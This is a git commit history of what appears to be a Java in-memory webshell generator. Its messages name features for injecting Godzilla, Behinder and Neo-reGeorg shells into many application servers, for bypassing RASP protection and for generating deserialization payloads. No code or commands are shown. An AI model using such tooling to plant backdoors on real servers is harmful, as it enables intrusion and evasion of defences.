ReaJason fbdc58390a perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 288b6df8e4 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 1116486f37 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason c925954035 feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason 8c06216e96 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason 64c71d6adb refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 94b6b006b2 chore: 1.10.0
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-06-07 14:35:53 +08:00
ReaJason e4552dc804 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 57b5960350 docs: update README 2025-06-07 14:35:13 +08:00
ReaJason 4dbd22eae2 docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason 59f2ac5f37 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 5b48350fdc chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason e4691a29f5 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason f74971530c fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason a95cd07b22 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason d5aec65d9b refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason 0c7dadc4f4 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 6b33cfb0fe feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 18d7cde49b fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason ac34d44abd refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason b7b1f2b60c fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason 1c1cc9bb9f refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason 2d6b45bf0c test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 95cfc94276 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason d1dec18110 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason 36ee7212f3 refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason 2852ab03d3 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason a655968fb3 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason 081efc1633 chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 83f9200c89 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason 82f955e419 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason db5b8d328c test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 532b5af52c test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 147a9b6c27 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 0452c36145 feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason d736aeb7a7 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 9927e6b7fb refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason 7ea62f3961 fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 4e1461b83d docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 65fe194c4a docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason 921928f21c chore: 1.9.0
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-05-28 01:22:54 +08:00
ReaJason dfd91aecc6 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 0f45c43e71 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 7b2329de45 fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason dba1b68c23 style: lint 2025-05-28 01:22:54 +08:00
ReaJason 558e386ede chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason f9c1ac9535 refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason ba690268e7 fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason df6125c046 refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason 55e2b2f5a6 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason bc9998c682 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason c094009b5c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason e7666844df feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason f2c4d16278 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason be3ec77e11 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 50707e1fb9 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason 34198a5c90 feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason 88732d9a81 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason d115656a0c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 2beeb709b5 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason 6b670ffec4 feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason ebd1bebf2f test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason be63177268 feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason 77b4ffaf36 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason bbca89c8cf docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 483bebc2fc fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason d669a728c4 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason d2f2809119 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason d4df2f6ed7 feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason f349586e09 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason cb39b9f26b fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason fc3ee3e33f feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 7bbe433ecc refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 4c2cd4e409 docs: update CHANGELOG
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-05-14 01:29:12 +08:00
ReaJason 0fe5ffe993 ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason 730782ed9a chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 0dd339fa2a docs: update 2025-05-14 00:47:22 +08:00
ReaJason eebc422503 refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason bd55fce38c chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 09f3258dd6 test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason c0c547a738 test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason de2ff819b6 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason b52d7f4a83 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason 8b9360905c feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason 5c5a0805e9 fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason b304bae628 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason d52f4726aa test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason 838bfa0e8a feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason f289b0a3a5 fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 2c16361da9 feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason d517abdea5 refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 1cdb231a95 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason e231c480da fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason 832124a368 fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason ceb19d2dae feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason b341082f2b fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason 086ea3bf2e chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 831e3d34d5 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason 7e77f02379 feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 6933163575 fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason a883c9914e test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 9fb653b6f8 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason ba9424c97e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 7e27d71f52 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 3e3e35cf9f style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 8b19f1aba3 test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 75979242fb ci: speed up integration test
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-04-23 00:41:10 +08:00
ReaJason d69d8b7635 feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason 6570b191ea test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 3b1cd86655 test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason aee8dbe8e0 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason d8079e5d0f fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason a5a5780eac build: upgrade bun image version for fast build
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-16 20:47:05 +08:00
ReaJason e005d30362 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 3f2749a05d docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 02412f8681 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 2441e38bee docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 60a3dd9da1 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason 0214a6f814 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason c27be9a8a5 refactor: format code
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-12 21:48:23 +08:00
ReaJason 5218526279 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason a9e197828e docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason 08d187500c docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason c5f5b46daf docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 7ea16b924f docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason bc6702405b docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 2b98280676 docs: add maven central badge
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-06 19:07:24 +08:00
ReaJason 1db4142d48 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason a8330d6af3 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason 7254ba7905 chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
ReaJason b25fd4779a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason d5fbff14d5 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason 78ba0da3a3 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 27227f1622 test: revert error 2025-04-06 13:55:17 +08:00
ReaJason 272f9f6c49 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason accee05504 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason fe8e77440d test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 318e30a61d ci: update name 2025-04-06 13:55:17 +08:00
ReaJason 7572bb8018 feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason 79397c191a refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason 6a08b9220a refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason b003bb683b fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason e05d8ac106 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 0f798b367f feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason fa206e8acc refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason cd231c5af7 revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 075053c38b chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8d9f906dcc fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason 0f87083048 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 94432d9c14 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 6a69bbbda4 docs: update screenshots
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-03-30 16:31:32 +08:00
ReaJason cb77ca44b2 docs: update README 2025-03-30 16:17:55 +08:00
ReaJason d4629f191e docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason d54bd801ab test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 0cb8dad52a feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason d57e691e1f feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e3a59e9f21 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason 3d2f65a808 test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 4ee5d69b31 docs: update README 2025-03-30 15:33:31 +08:00
ReaJason 17fe4b4746 refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason e8124c02cc feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 52b8000bc7 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason ee3e257f9d test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason 045f6be5d7 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason af5001dee3 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 010db58a57 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason 5965f372b0 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 61f199dbe1 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 9b63ee441a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason 65414fcdd6 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason fe5f662fc2 chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason ad4436702e docs: update 2025-03-30 15:33:31 +08:00
ReaJason 78d390e975 perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason 29f5f4285f style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason e4c29fdd0f fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason b8da9d7468 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 60e755cc39 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason 35bc198f48 chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason bcc50cc2f5 chore: rm files 2025-03-30 15:33:31 +08:00
ReaJason 5f48dd4c95 ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason ab4154c90c build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 775b4eec9a docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason f6f2611b92 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 6292e6b8b2 feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason 6f332a97d8 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
ReaJason b71e8ea4de fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason d14203e78f fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason 839653bd01 style: format code 2025-02-28 22:44:10 +08:00
ReaJason badf60ebd4 chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason 6be832494d refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 945956ca16 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason 1f158158f6 refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason a1bf202066 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason 2f9ac42a3f feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason bb6a4c4d06 docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason d9c0a38460 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason 2c0f52537e test: default shrink enabled 2025-02-26 20:47:05 +08:00
ReaJason 336dcb0fda test: war file error 2025-02-26 20:24:59 +08:00
ReaJason 787e5563b4 feat: support Tomcat Jakarta WebSocket 2025-02-26 20:21:25 +08:00
